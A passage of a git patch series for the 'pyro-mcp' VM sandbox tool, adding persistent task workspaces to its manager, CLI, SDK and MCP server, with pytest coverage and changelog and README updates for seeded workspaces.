+ f"vm {instance.vm_id} cannot be started from state {instance.state!r}" + ) + self._require_guest_boot_or_opt_in(instance) + if not self._runtime_capabilities.supports_vm_boot: + instance.metadata["execution_mode"] = "host_compat" + instance.metadata["boot_mode"] = "compat" + if self._runtime_capabilities.reason is not None: + instance.metadata["runtime_reason"] = self._runtime_capabilities.reason + self._backend.start(instance) + instance.state = "started" + + def _exec_instance( + self, + instance: VmInstance, + *, + command: str, + timeout_seconds: int, + host_workdir: Path | None = None, + guest_cwd: str | None = None, + ) -> tuple[VmExecResult, str]: + if timeout_seconds <= 0: + raise ValueError("timeout_seconds must be positive") + if instance.state != "started": + raise RuntimeError(f"vm {instance.vm_id} must be in 'started' state before execution") + self._require_guest_exec_or_opt_in(instance) + prepared_command = command + if self._runtime_capabilities.supports_guest_exec: + prepared_command = _wrap_guest_command(command, cwd=guest_cwd) + workdir = None + else: + instance.metadata["execution_mode"] = "host_compat" + workdir = host_workdir + exec_result = self._backend.exec( + instance, + prepared_command, + timeout_seconds, + workdir=workdir, + ) + execution_mode = instance.metadata.get("execution_mode", "unknown") + return exec_result, execution_mode + + def _task_dir(self, task_id: str) -> Path: + return self._tasks_dir / task_id + + def _task_runtime_dir(self, task_id: str) -> Path: + return self._task_dir(task_id) / TASK_RUNTIME_DIRNAME + + def _task_workspace_dir(self, task_id: str) -> Path: + return self._task_dir(task_id) / TASK_WORKSPACE_DIRNAME + + def _task_commands_dir(self, task_id: str) -> Path: + return self._task_dir(task_id) / TASK_COMMANDS_DIRNAME + + def _task_metadata_path(self, task_id: str) -> Path: + return self._task_dir(task_id) / "task.json" + + def _count_tasks_locked(self) -> int: + return sum(1 for _ in self._tasks_dir.glob("*/task.json")) + + def _load_task_locked(self, task_id: str) -> TaskRecord: + metadata_path = self._task_metadata_path(task_id) + if not metadata_path.exists(): + raise ValueError(f"task {task_id!r} does not exist") + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError(f"task record at {metadata_path} is invalid") + return TaskRecord.from_payload(payload) + + def _save_task_locked(self, task: TaskRecord) -> None: + metadata_path = self._task_metadata_path(task.task_id) + metadata_path.parent.mkdir(parents=True, exist_ok=True) + metadata_path.write_text( + json.dumps(task.to_payload(), indent=2, sort_keys=True), + encoding="utf-8", + ) + + def _reap_expired_tasks_locked(self, now: float) -> None: + for metadata_path in list(self._tasks_dir.glob("*/task.json")): + payload = json.loads(metadata_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + shutil.rmtree(metadata_path.parent, ignore_errors=True) + continue + task = TaskRecord.from_payload(payload) + if task.expires_at > now: + continue + instance = task.to_instance(workdir=self._task_runtime_dir(task.task_id)) + if task.state == "started": + self._backend.stop(instance) + task.state = "stopped" + self._backend.delete(instance) + shutil.rmtree(self._task_dir(task.task_id), ignore_errors=True) + + def _ensure_task_not_expired_locked(self, task: TaskRecord, now: float) -> None: + if task.expires_at <= now: + task_id = task.task_id + self._reap_expired_tasks_locked(now) + raise RuntimeError(f"task {task_id!r} expired and was automatically deleted") + + def _refresh_task_liveness_locked(self, task: TaskRecord) -> None: + if task.state != "started": + return + execution_mode = task.metadata.get("execution_mode") + if execution_mode == "host_compat": + return + if _pid_is_running(task.firecracker_pid): + return + task.state = "stopped" + task.firecracker_pid = None + task.last_error = "backing guest process is no longer running" + + def _record_task_command_locked( + self, + task: TaskRecord, + *, + command: str, + exec_result: VmExecResult, + execution_mode: str, + cwd: str, + ) -> dict[str, Any]: + sequence = task.command_count + 1 + commands_dir = self._task_commands_dir(task.task_id) + commands_dir.mkdir(parents=True, exist_ok=True) + base_name = f"{sequence:06d}" + stdout_path = commands_dir / f"{base_name}.stdout" + stderr_path = commands_dir / f"{base_name}.stderr" + record_path = commands_dir / f"{base_name}.json" + stdout_path.write_text(exec_result.stdout, encoding="utf-8") + stderr_path.write_text(exec_result.stderr, encoding="utf-8") + entry: dict[str, Any] = { + "sequence": sequence, + "command": command, + "cwd": cwd, + "exit_code": exec_result.exit_code, + "duration_ms": exec_result.duration_ms, + "execution_mode": execution_mode, + "stdout_file": stdout_path.name, + "stderr_file": stderr_path.name, + "recorded_at": time.time(), + } + record_path.write_text(json.dumps(entry, indent=2, sort_keys=True), encoding="utf-8") + task.command_count = sequence + task.last_command = { + "sequence": sequence, + "command": command, + "cwd": cwd, + "exit_code": exec_result.exit_code, + "duration_ms": exec_result.duration_ms, + "execution_mode": execution_mode, + } + return entry + + def _read_task_logs_locked(self, task_id: str) -> list[dict[str, Any]]: + entries: list[dict[str, Any]] = [] + commands_dir = self._task_commands_dir(task_id) + if not commands_dir.exists(): + return entries + for record_path in sorted(commands_dir.glob("*.json")): + payload = json.loads(record_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + continue + stdout_name = str(payload.get("stdout_file", "")) + stderr_name = str(payload.get("stderr_file", "")) + stdout = "" + stderr = "" + if stdout_name != "": + stdout_path = commands_dir / stdout_name + if stdout_path.exists(): + stdout = stdout_path.read_text(encoding="utf-8") + if stderr_name != "": + stderr_path = commands_dir / stderr_name + if stderr_path.exists(): + stderr = stderr_path.read_text(encoding="utf-8") + entry = dict(payload) + entry["stdout"] = stdout + entry["stderr"] = stderr + entries.append(entry) + return entries diff --git a/tests/test_api.py b/tests/test_api.py index b282378..7b79121 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -48,6 +48,7 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: tool_names = asyncio.run(_run()) assert "vm_run" in tool_names assert "vm_create" in tool_names + assert "task_create" in tool_names def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: @@ -102,3 +103,25 @@ def test_pyro_create_vm_defaults_sizing_and_host_compat(tmp_path: Path) -> None: assert created["vcpu_count"] == 1 assert created["mem_mib"] == 1024 assert created["allow_host_compat"] is True + + +def test_pyro_task_methods_delegate_to_manager(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + created = pyro.create_task(environment="debian:12-base", allow_host_compat=True) + task_id = str(created["task_id"]) + executed = pyro.exec_task(task_id, command="printf 'ok\\n'") + status = pyro.status_task(task_id) + logs = pyro.logs_task(task_id) + deleted = pyro.delete_task(task_id) + + assert executed["stdout"] == "ok\n" + assert status["command_count"] == 1 + assert logs["count"] == 1 + assert deleted["deleted"] is True diff --git a/tests/test_cli.py b/tests/test_cli.py index 69643d6..67859f7 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -59,6 +59,14 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "Expose pyro tools over stdio for an MCP client." in mcp_help assert "Use this from an MCP client config after the CLI evaluation path works." in mcp_help + task_help = _subparser_choice(parser, "task").format_help() + assert "pyro task create debian:12" in task_help + assert "pyro task exec TASK_ID" in task_help + + task_exec_help = _subparser_choice(_subparser_choice(parser, "task"), "exec").format_help() + assert "persistent `/workspace`" in task_exec_help + assert "pyro task exec TASK_ID -- cat note.txt" in task_exec_help + def test_cli_run_prints_json( monkeypatch: pytest.MonkeyPatch, @@ -318,6 +326,243 @@ def test_cli_requires_run_command() -> None: cli._require_command([]) +def test_cli_task_create_prints_json( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def create_task(self, **kwargs: Any) -> dict[str, Any]: + assert kwargs["environment"] == "debian:12" + return {"task_id": "task-123", "state": "started"} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="create", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network=False, + allow_host_compat=False, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["task_id"] == "task-123" + + +def test_cli_task_create_prints_human( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def create_task(self, **kwargs: Any) -> dict[str, Any]: + del kwargs + return { + "task_id": "task-123", + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 0, + "last_command": None, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="create", + environment="debian:12", + vcpu_count=1, + mem_mib=1024, + ttl_seconds=600, + network=False, + allow_host_compat=False, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Task: task-123" in output + assert "Workspace: /workspace" in output + + +def test_cli_task_exec_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def exec_task(self, task_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: + assert task_id == "task-123" + assert command == "cat note.txt" + assert timeout_seconds == 30 + return { + "task_id": task_id, + "sequence": 2, + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "exit_code": 0, + "duration_ms": 4, + "stdout": "hello\n", + "stderr": "", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="exec", + task_id="task-123", + timeout_seconds=30, + json=False, + command_args=["--", "cat", "note.txt"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello\n" + assert "[task-exec] task_id=task-123 sequence=2 cwd=/workspace" in captured.err + + +def test_cli_task_logs_and_delete_print_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def logs_task(self, task_id: str) -> dict[str, Any]: + assert task_id == "task-123" + return { + "task_id": task_id, + "count": 1, + "entries": [ + { + "sequence": 1, + "exit_code": 0, + "duration_ms": 2, + "cwd": "/workspace", + "command": "printf 'ok\\n'", + "stdout": "ok\n", + "stderr": "", + } + ], + } + + def delete_task(self, task_id: str) -> dict[str, Any]: + assert task_id == "task-123" + return {"task_id": task_id, "deleted": True} + + class LogsParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="logs", + task_id="task-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + + class DeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="delete", + task_id="task-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) + cli.main() + + output = capsys.readouterr().out + assert "#1 exit_code=0 duration_ms=2 cwd=/workspace" in output + assert "Deleted task: task-123" in output + + +def test_cli_task_status_and_delete_print_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def status_task(self, task_id: str) -> dict[str, Any]: + assert task_id == "task-123" + return {"task_id": task_id, "state": "started"} + + def delete_task(self, task_id: str) -> dict[str, Any]: + assert task_id == "task-123" + return {"task_id": task_id, "deleted": True} + + class StatusParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="status", + task_id="task-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + status = json.loads(capsys.readouterr().out) + assert status["state"] == "started" + + class DeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="delete", + task_id="task-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) + cli.main() + deleted = json.loads(capsys.readouterr().out) + assert deleted["deleted"] is True + + +def test_cli_task_exec_json_error_exits_nonzero( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def exec_task(self, task_id: str, *, command: str, timeout_seconds: int) -> dict[str, Any]: + del task_id, command, timeout_seconds + raise RuntimeError("task is unavailable") + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="task", + task_command="exec", + task_id="task-123", + timeout_seconds=30, + json=True, + command_args=["--", "true"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + + with pytest.raises(SystemExit, match="1"): + cli.main() + + payload = json.loads(capsys.readouterr().out) + assert payload["ok"] is False + + def test_print_env_helpers_render_human_output(capsys: pytest.CaptureFixture[str]) -> None: cli._print_env_list_human( { diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 97aaa16..bf07ad4 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -17,6 +17,7 @@ from pyro_mcp.contract import ( PUBLIC_CLI_DEMO_SUBCOMMANDS, PUBLIC_CLI_ENV_SUBCOMMANDS, PUBLIC_CLI_RUN_FLAGS, + PUBLIC_CLI_TASK_SUBCOMMANDS, PUBLIC_MCP_TOOLS, PUBLIC_SDK_METHODS, ) @@ -63,6 +64,10 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: for subcommand_name in PUBLIC_CLI_ENV_SUBCOMMANDS: assert subcommand_name in env_help_text + task_help_text = _subparser_choice(parser, "task").format_help() + for subcommand_name in PUBLIC_CLI_TASK_SUBCOMMANDS: + assert subcommand_name in task_help_text + demo_help_text = _subparser_choice(parser, "demo").format_help() for subcommand_name in PUBLIC_CLI_DEMO_SUBCOMMANDS: assert subcommand_name in demo_help_text diff --git a/tests/test_server.py b/tests/test_server.py index 17a358c..be8e1db 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -31,6 +31,8 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "vm_network_info" in tool_names assert "vm_run" in tool_names assert "vm_status" in tool_names + assert "task_create" in tool_names + assert "task_logs" in tool_names def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -161,3 +163,50 @@ def test_server_main_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> No monkeypatch.setattr(server_module, "create_server", lambda: StubServer()) server_module.main() assert called == {"transport": "stdio"} + + +def test_task_tools_round_trip(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], dict[str, Any], dict[str, Any], dict[str, Any]]: + server = create_server(manager=manager) + created = _extract_structured( + await server.call_tool( + "task_create", + { + "environment": "debian:12-base", + "allow_host_compat": True, + }, + ) + ) + task_id = str(created["task_id"]) + executed = _extract_structured( + await server.call_tool( + "task_exec", + { + "task_id": task_id, + "command": "printf 'ok\\n'", + }, + ) + ) + logs = _extract_structured(await server.call_tool("task_logs", {"task_id": task_id})) + deleted = _extract_structured(await server.call_tool("task_delete", {"task_id": task_id})) + return created, executed, logs, deleted + + created, executed, logs, deleted = asyncio.run(_run()) + assert created["state"] == "started" + assert executed["stdout"] == "ok\n" + assert logs["count"] == 1 + assert deleted["deleted"] is True diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index e307688..560ba95 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -1,14 +1,17 @@ from __future__ import annotations +import json +import subprocess +import time from pathlib import Path from typing import Any import pytest import pyro_mcp.vm_manager as vm_manager_module -from pyro_mcp.runtime import resolve_runtime_paths +from pyro_mcp.runtime import RuntimeCapabilities, resolve_runtime_paths from pyro_mcp.vm_manager import VmManager -from pyro_mcp.vm_network import TapNetworkManager +from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager def test_vm_manager_lifecycle_and_auto_cleanup(tmp_path: Path) -> None: @@ -262,6 +265,95 @@ def test_vm_manager_run_vm(tmp_path: Path) -> None: assert str(result["stdout"]) == "ok\n" +def test_task_lifecycle_and_logs(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + created = manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + ) + task_id = str(created["task_id"]) + assert created["state"] == "started" + assert created["workspace_path"] == "/workspace" + + first = manager.exec_task( + task_id, + command="printf 'hello\\n' > note.txt", + timeout_seconds=30, + ) + second = manager.exec_task(task_id, command="cat note.txt", timeout_seconds=30) + + assert first["exit_code"] == 0 + assert second["stdout"] == "hello\n" + + status = manager.status_task(task_id) + assert status["command_count"] == 2 + assert status["last_command"] is not None + + logs = manager.logs_task(task_id) + assert logs["count"] == 2 + entries = logs["entries"] + assert isinstance(entries, list) + assert entries[1]["stdout"] == "hello\n" + + deleted = manager.delete_task(task_id) + assert deleted["deleted"] is True + with pytest.raises(ValueError, match="does not exist"): + manager.status_task(task_id) + + +def test_task_rehydrates_across_manager_processes(tmp_path: Path) -> None: + base_dir = tmp_path / "vms" + manager = VmManager( + backend_name="mock", + base_dir=base_dir, + network_manager=TapNetworkManager(enabled=False), + ) + task_id = str( + manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + )["task_id"] + ) + + other = VmManager( + backend_name="mock", + base_dir=base_dir, + network_manager=TapNetworkManager(enabled=False), + ) + executed = other.exec_task(task_id, command="printf 'ok\\n'", timeout_seconds=30) + assert executed["exit_code"] == 0 + assert executed["stdout"] == "ok\n" + + logs = other.logs_task(task_id) + assert logs["count"] == 1 + + +def test_task_requires_started_state(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + task_id = str( + manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + )["task_id"] + ) + task_dir = tmp_path / "vms" / "tasks" / task_id / "task.json" + payload = json.loads(task_dir.read_text(encoding="utf-8")) + payload["state"] = "stopped" + task_dir.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + with pytest.raises(RuntimeError, match="must be in 'started' state"): + manager.exec_task(task_id, command="true", timeout_seconds=30) + + def test_vm_manager_firecracker_backend_path( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: @@ -334,3 +426,193 @@ def test_vm_manager_uses_canonical_default_cache_dir( ) assert manager._environment_store.cache_dir == tmp_path / "cache" # noqa: SLF001 + + +def test_vm_manager_helper_round_trips() -> None: + network = NetworkConfig( + vm_id="abc123", + tap_name="tap0", + guest_ip="172.29.1.2", + gateway_ip="172.29.1.1", + subnet_cidr="172.29.1.0/24", + mac_address="06:00:aa:bb:cc:dd", + dns_servers=("1.1.1.1", "8.8.8.8"), + ) + + assert vm_manager_module._optional_int(None) is None # noqa: SLF001 + assert vm_manager_module._optional_int(True) == 1 # noqa: SLF001 + assert vm_manager_module._optional_int(7) == 7 # noqa: SLF001 + assert vm_manager_module._optional_int(7.2) == 7 # noqa: SLF001 + assert vm_manager_module._optional_int("9") == 9 # noqa: SLF001 + with pytest.raises(TypeError, match="integer-compatible"): + vm_manager_module._optional_int(object()) # noqa: SLF001 + + assert vm_manager_module._optional_str(None) is None # noqa: SLF001 + assert vm_manager_module._optional_str(1) == "1" # noqa: SLF001 + assert vm_manager_module._optional_dict(None) is None # noqa: SLF001 + assert vm_manager_module._optional_dict({"x": 1}) == {"x": 1} # noqa: SLF001 + with pytest.raises(TypeError, match="dictionary payload"): + vm_manager_module._optional_dict("bad") # noqa: SLF001 + assert vm_manager_module._string_dict({"x": 1}) == {"x": "1"} # noqa: SLF001 + assert vm_manager_module._string_dict("bad") == {} # noqa: SLF001 + + serialized = vm_manager_module._serialize_network(network) # noqa: SLF001 + assert serialized is not None + restored = vm_manager_module._deserialize_network(serialized) # noqa: SLF001 + assert restored == network + assert vm_manager_module._deserialize_network(None) is None # noqa: SLF001 + with pytest.raises(TypeError, match="dictionary payload"): + vm_manager_module._deserialize_network("bad") # noqa: SLF001 + + assert vm_manager_module._wrap_guest_command("echo hi") == "echo hi" # noqa: SLF001 + wrapped = vm_manager_module._wrap_guest_command("echo hi", cwd="/workspace") # noqa: SLF001 + assert "cd /workspace" in wrapped + assert vm_manager_module._pid_is_running(None) is False # noqa: SLF001 + + +def test_copy_rootfs_falls_back_to_copy2( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + source = tmp_path / "rootfs.ext4" + source.write_text("payload", encoding="utf-8") + dest = tmp_path / "dest" / "rootfs.ext4" + + def _raise_oserror(*args: Any, **kwargs: Any) -> Any: + del args, kwargs + raise OSError("no cp") + + monkeypatch.setattr(subprocess, "run", _raise_oserror) + + clone_mode = vm_manager_module._copy_rootfs(source, dest) # noqa: SLF001 + assert clone_mode == "copy2" + assert dest.read_text(encoding="utf-8") == "payload" + + +def test_task_create_cleans_up_on_start_failure( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + def _boom(instance: Any) -> None: + del instance + raise RuntimeError("boom") + + monkeypatch.setattr(manager._backend, "start", _boom) # noqa: SLF001 + + with pytest.raises(RuntimeError, match="boom"): + manager.create_task(environment="debian:12-base", allow_host_compat=True) + + assert list((tmp_path / "vms" / "tasks").iterdir()) == [] + + +def test_exec_instance_wraps_guest_workspace_command(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + manager._runtime_capabilities = RuntimeCapabilities( # noqa: SLF001 + supports_vm_boot=True, + supports_guest_exec=True, + supports_guest_network=False, + reason=None, + ) + captured: dict[str, Any] = {} + + class StubBackend: + def exec( + self, + instance: Any, + command: str, + timeout_seconds: int, + *, + workdir: Path | None = None, + ) -> vm_manager_module.VmExecResult: + del instance, timeout_seconds + captured["command"] = command + captured["workdir"] = workdir + return vm_manager_module.VmExecResult( + stdout="", + stderr="", + exit_code=0, + duration_ms=1, + ) + + manager._backend = StubBackend() # type: ignore[assignment] # noqa: SLF001 + instance = vm_manager_module.VmInstance( # noqa: SLF001 + vm_id="vm-123", + environment="debian:12-base", + vcpu_count=1, + mem_mib=512, + ttl_seconds=600, + created_at=time.time(), + expires_at=time.time() + 600, + workdir=tmp_path / "runtime", + state="started", + ) + result, execution_mode = manager._exec_instance( # noqa: SLF001 + instance, + command="echo hi", + timeout_seconds=30, + guest_cwd="/workspace", + ) + assert result.exit_code == 0 + assert execution_mode == "unknown" + assert "cd /workspace" in str(captured["command"]) + assert captured["workdir"] is None + + +def test_status_task_marks_dead_backing_process_stopped(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + task_id = str( + manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + )["task_id"] + ) + task_path = tmp_path / "vms" / "tasks" / task_id / "task.json" + payload = json.loads(task_path.read_text(encoding="utf-8")) + payload["metadata"]["execution_mode"] = "guest_vsock" + payload["firecracker_pid"] = 999999 + task_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + status = manager.status_task(task_id) + assert status["state"] == "stopped" + updated_payload = json.loads(task_path.read_text(encoding="utf-8")) + assert "backing guest process" in str(updated_payload.get("last_error", "")) + + +def test_reap_expired_tasks_removes_invalid_and_expired_records(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + invalid_dir = tmp_path / "vms" / "tasks" / "invalid" + invalid_dir.mkdir(parents=True) + (invalid_dir / "task.json").write_text("[]", encoding="utf-8") + + task_id = str( + manager.create_task( + environment="debian:12-base", + allow_host_compat=True, + )["task_id"] + ) + task_path = tmp_path / "vms" / "tasks" / task_id / "task.json" + payload = json.loads(task_path.read_text(encoding="utf-8")) + payload["expires_at"] = 0.0 + task_path.write_text(json.dumps(payload, indent=2, sort_keys=True), encoding="utf-8") + + with manager._lock: # noqa: SLF001 + manager._reap_expired_tasks_locked(time.time()) # noqa: SLF001 + + assert not invalid_dir.exists() + assert not (tmp_path / "vms" / "tasks" / task_id).exists() diff --git a/uv.lock b/uv.lock index 754b94e..f97ee73 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.0.1" +version = "2.1.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From aa886b346e374c428124eacde09ad8c4d504ba84 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Wed, 11 Mar 2026 21:45:38 -0300 Subject: [PATCH 11/49] Add seeded task workspace creation Current persistent tasks started with an empty workspace, which blocked the first useful host-to-task workflow in the task roadmap. This change lets task creation start from a host directory or tar archive without changing the one-shot VM surfaces. Expose source_path on task create across the CLI, SDK, and MCP, add safe archive upload and extraction support for guest and host-compat backends, persist workspace_seed metadata, and patch the per-task rootfs with the bundled guest agent before boot so seeded guest tasks work without republishing environments. Also switch post--- command reconstruction to shlex.join() so documented sh -lc task examples preserve argument boundaries. Validation: - uv lock - UV_CACHE_DIR=.uv-cache uv run pytest --no-cov tests/test_vm_guest.py tests/test_vm_manager.py tests/test_cli.py tests/test_api.py tests/test_server.py tests/test_public_contract.py - UV_CACHE_DIR=.uv-cache make check - UV_CACHE_DIR=.uv-cache make dist-check - real guest-backed smoke: task create --source-path, task exec -- cat note.txt, task delete --- CHANGELOG.md | 9 + README.md | 18 +- docs/first-run.md | 10 +- docs/install.md | 9 +- docs/integrations.md | 7 +- docs/public-contract.md | 8 + pyproject.toml | 2 +- runtime_sources/README.md | 2 +- .../linux-x86_64/guest/pyro_guest_agent.py | 150 ++++++- .../linux-x86_64/runtime.lock.json | 2 +- src/pyro_mcp/api.py | 4 + src/pyro_mcp/cli.py | 29 +- src/pyro_mcp/contract.py | 9 + .../linux-x86_64/guest/pyro_guest_agent.py | 150 ++++++- .../runtime_bundle/linux-x86_64/manifest.json | 4 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_guest.py | 111 +++-- src/pyro_mcp/vm_manager.py | 394 +++++++++++++++++- tests/test_api.py | 13 +- tests/test_cli.py | 24 +- tests/test_public_contract.py | 6 + tests/test_server.py | 7 +- tests/test_vm_guest.py | 43 ++ tests/test_vm_manager.py | 136 ++++++ uv.lock | 2 +- 25 files changed, 1076 insertions(+), 75 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 217b6e6..a20099d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,15 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.2.0 + +- Added seeded task creation across the CLI, Python SDK, and MCP server with an optional + `source_path` for host directories and `.tar` / `.tar.gz` / `.tgz` archives. +- Seeded task workspaces now persist `workspace_seed` metadata so later status calls report how + `/workspace` was initialized. +- Reused the task workspace model from `2.1.0` while adding the first explicit host-to-task + content import path for repeated command workflows. + ## 2.1.0 - Added the first persistent task workspace alpha across the CLI, Python SDK, and MCP server. diff --git a/README.md b/README.md index b4ba65e..a085622 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.1.0: [CHANGELOG.md#210](CHANGELOG.md#210) +- What's new in 2.2.0: [CHANGELOG.md#220](CHANGELOG.md#220) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -55,7 +55,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.1.0 +Catalog version: 2.2.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -74,7 +74,7 @@ access to `registry-1.docker.io`, and needs local cache space for the guest imag After the quickstart works: - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` -- create a persistent workspace with `uvx --from pyro-mcp pyro task create debian:12` +- create a persistent workspace with `uvx --from pyro-mcp pyro task create debian:12 --source-path ./repo` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Supported Hosts @@ -128,7 +128,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.1.0 +Catalog version: 2.2.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -198,7 +198,7 @@ Use `pyro run` for one-shot commands. Use `pyro task ...` when you need repeated workspace without recreating the sandbox every time. ```bash -pyro task create debian:12 +pyro task create debian:12 --source-path ./repo pyro task exec TASK_ID -- sh -lc 'printf "hello from task\n" > note.txt' pyro task exec TASK_ID -- cat note.txt pyro task logs TASK_ID @@ -206,7 +206,9 @@ pyro task delete TASK_ID ``` Task workspaces start in `/workspace` and keep command history until you delete them. For machine -consumption, add `--json` and read the returned `task_id`. +consumption, add `--json` and read the returned `task_id`. Use `--source-path` when you want the +task to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an +empty workspace. ## Public Interfaces @@ -348,7 +350,7 @@ For repeated commands in one workspace: from pyro_mcp import 